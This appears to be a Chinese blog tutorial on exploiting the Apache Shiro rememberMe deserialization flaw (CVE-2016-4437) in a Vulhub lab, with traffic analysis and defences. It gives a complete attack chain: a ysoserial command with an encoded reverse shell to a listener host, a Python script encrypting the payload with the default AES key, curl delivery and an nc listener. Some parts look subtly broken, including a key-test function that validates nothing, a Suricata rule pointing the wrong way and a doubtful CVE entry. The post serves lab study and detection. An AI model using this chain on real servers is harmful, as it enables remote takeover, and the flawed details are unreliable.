当前位置: 首页 > news >正文

Shiro反序列化漏洞实战:从CVE-2016-4437复现到Wireshark流量分析(附靶场搭建)

Shiro反序列化漏洞深度实战:从环境搭建到流量特征解析

在安全研究领域,Apache Shiro框架的反序列化漏洞一直是渗透测试中的经典案例。本文将带您从零开始构建完整的实验环境,逐步拆解CVE-2016-4437漏洞的利用过程,并通过网络流量分析揭示攻击特征。不同于简单的漏洞复现教程,我们更关注实战中的技术细节和排错经验。

1. 实验环境构建与漏洞原理

搭建可靠的实验环境是漏洞研究的第一步。我们选择使用Vulhub作为基础环境,它不仅预置了存在漏洞的Shiro 1.2.4版本,还集成了完整的依赖组件。

1.1 Vulhub环境配置

首先确保系统已安装Docker和docker-compose:

# 检查Docker版本 docker --version # 检查docker-compose版本 docker-compose --version

从Vulhub官方仓库获取Shiro漏洞环境:

git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d

环境启动后,访问http://your-ip:8080将看到Shiro的示例页面。这个环境已经配置了以下关键参数:

  • Shiro版本:1.2.4
  • 默认AES密钥:kPH+bIxk5D2deZiIxcaaaA==
  • 示例登录账号:admin/vulhub

注意:实验结束后务必执行docker-compose down关闭环境,避免不必要的安全风险。

1.2 漏洞核心机制解析

Shiro的"记住我"功能通过Cookie中的rememberMe字段实现,其处理流程存在致命缺陷:

  1. 客户端设置rememberMe值
  2. 服务端接收后执行:
    • Base64解码
    • AES解密(使用硬编码密钥)
    • 反序列化操作

漏洞的关键在于:

  • 硬编码密钥:默认AES密钥在代码中固定不变
  • 无签名验证:解密后直接反序列化,缺乏完整性校验
  • Java原生反序列化:直接调用ObjectInputStream

这种设计使得攻击者一旦获取AES密钥,就能构造恶意的序列化对象,实现远程代码执行。

2. 漏洞利用实战演练

2.1 利用工具准备

我们使用ysoserial工具生成恶意序列化数据,配合Python脚本完成完整攻击链:

# 生成反弹shell的序列化payload java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

将生成的payload.ser通过以下Python脚本处理:

import sys import base64 import uuid from Crypto.Cipher import AES def encrypt(key, payload): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(pad(payload))) if __name__ == '__main__': key = 'kPH+bIxk5D2deZiIxcaaaA==' with open(sys.argv[1], 'rb') as f: payload = f.read() print(encrypt(key, payload).decode())

执行脚本生成最终的rememberMe值:

python shiro_poc.py payload.ser > rememberme.txt

2.2 攻击执行与验证

使用curl发送恶意Cookie:

curl -H "Cookie: rememberMe=$(cat rememberme.txt)" http://target:8080

成功执行后,将在监听端收到反弹shell:

nc -lvnp 4444

攻击成功的关键指标

  1. 响应中包含base64编码数据
  2. HTTP状态码异常(非200/302)
  3. 服务器日志出现Java异常堆栈

3. 网络流量深度分析

3.1 Wireshark抓包配置

为确保捕获完整攻击流量,建议采用以下Wireshark过滤器:

tcp.port == 8080 || tcp.port == 4444

关键捕获点设置:

  • 捕获接口:选择与Docker虚拟网络对应的接口
  • 缓冲大小:建议设置为100MB以上
  • 捕获过滤器host <target_ip>

3.2 攻击流量特征识别

通过分析捕获的数据包,我们可以提取以下关键特征:

流量方向特征描述风险等级
请求包Cookie头包含超长rememberMe值高危
请求包rememberMe值符合AES加密特征高危
响应包包含异常base64数据段中危
响应包Content-Type与正常响应不一致低危

典型的攻击请求头示例:

GET / HTTP/1.1 Host: target:8080 Cookie: rememberMe=AgAAABRjHhQrHhQrHhQrHhQrHhQrHhQr... User-Agent: curl/7.68.0 Accept: */*

3.3 防御视角的流量监测

基于流量特征,可以构建以下Suricata检测规则:

alert http $HOME_NET any -> $EXTERNAL_NET any ( msg:"SHIRO - Possible CVE-2016-4437 Exploit Attempt"; flow:to_server; http.cookie; content:"rememberMe="; depth:11; content:!"user="; distance:0; pcre:"/rememberMe=[A-Za-z0-9+\/=]{100,}/"; classtype:web-application-attack; sid:1000001; rev:1; )

4. 进阶利用与防御加固

4.1 密钥爆破技术

当目标系统使用非默认密钥时,可以采用以下方法爆破:

  1. 收集常见密钥列表(如Shiro官方示例密钥)
  2. 使用以下Python脚本测试密钥有效性:
def test_key(key, payload): try: decoded = base64.b64decode(payload) iv = decoded[:16] cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) decrypted = cipher.decrypt(decoded[16:]) return True except: return False

4.2 企业级防护方案

针对Shiro反序列化漏洞,建议采用分层防御策略:

基础防护措施

  • 升级到Shiro 1.2.5及以上版本
  • 修改默认AES加密密钥
  • 禁用rememberMe功能(如非必需)

增强防护方案

  • 部署RASP防护(如OpenRASP)
  • 实施序列化白名单控制
  • 启用JEP290过滤机制

监测与响应

  • 部署WAF规则检测rememberMe异常
  • 日志监控Java反序列化异常
  • 建立应急响应流程

5. 漏洞利用的变体与演进

虽然CVE-2016-4437是最著名的Shiro反序列化漏洞,但安全研究人员还发现了多个相关变体:

漏洞编号影响版本关键区别
CVE-2019-12422<1.4.2Padding Oracle攻击
CVE-2020-2957<1.5.2AES-GCM加密问题
CVE-2020-11989<1.5.3权限绕过问题

在实际渗透测试中,这些漏洞往往需要组合利用。例如,先通过CVE-2020-11989绕过认证,再利用反序列化漏洞获取系统权限。

http://www.cnnetsun.cn/news/1418716.html

相关文章:

  • Cookie、Session和Token
  • 深入剖析zygisk注入对抗中的soinfo空隙检测技术
  • YauS-events:嵌入式硬实时事件调度引擎解析
  • 告别模糊签名!用PS+AI打造高清电子签名的5个关键步骤
  • 从零开始DIY触摸小夜灯:立创EDA实战指南
  • ComfyUI进阶物品移除指南:结合Inpaint与IPAdapter的实战技巧
  • Sglang部署实战:关键参数调优与性能优化指南
  • ATtiny85驱动MCP23017的轻量级I²C GPIO扩展库
  • STM32实战:24C02 EEPROM读写全攻略(附I2C时序详解)
  • Qwen3-32B-Chat百度OCR后处理:扫描文档理解+结构化信息提取+表格重建效果
  • 家用路由器NAT配置实战:5分钟搞定内网穿透与端口映射
  • MLIR在深度学习编译器中的核心作用与实践解析
  • OFA-large模型惊艳效果:新闻配图与导语语义蕴含关系深度分析
  • 如何在Windows系统中快速定位热键冲突的终极指南
  • 微服务爬虫架构设计:解耦采集/解析/存储,支持百万级数据并发
  • MatrixMiniR4:面向机器人运动控制的STM32H7集成开发平台
  • PP-DocLayoutV3保姆级教学:从平台选镜像→部署→HTTP访问→结果验证全链路
  • M5-LoRaWAN库详解:基于ASR6501的LoRaWAN终端开发指南
  • AIVideo与Matlab集成:科研视频数据处理与分析
  • AudioSeal Pixel Studio从零开始:Dockerfile多阶段构建减小镜像体积至1.2GB
  • ATE测试时序配置实战:如何用set test_default_strobe和strobe_width优化你的扫描链测试覆盖率
  • 告别MyBatis!用Hutool的Entity玩转数据库CRUD(含事务实战案例)
  • Chart.js 饼图详解
  • 逆向工程师的迷宫题工具箱:IDA地图提取+三维迷宫破解技巧
  • 深入解析Cocos APP中jsc文件的XXTEA逆向实战
  • GD32F470平台SHT30温湿度传感器驱动开发与实战
  • CentOS7 Samba共享服务器:从零到精通的实战配置手册
  • translategemma-4b-it效果展示:手写公式+英文标注图→中文教学讲义级翻译
  • 手把手教你解读AI基准测试报告:以GPT-4V在MMMU中的表现为例
  • Ubuntu 22.04 LTS 修改主机名后,SSH连接失败的坑我帮你踩了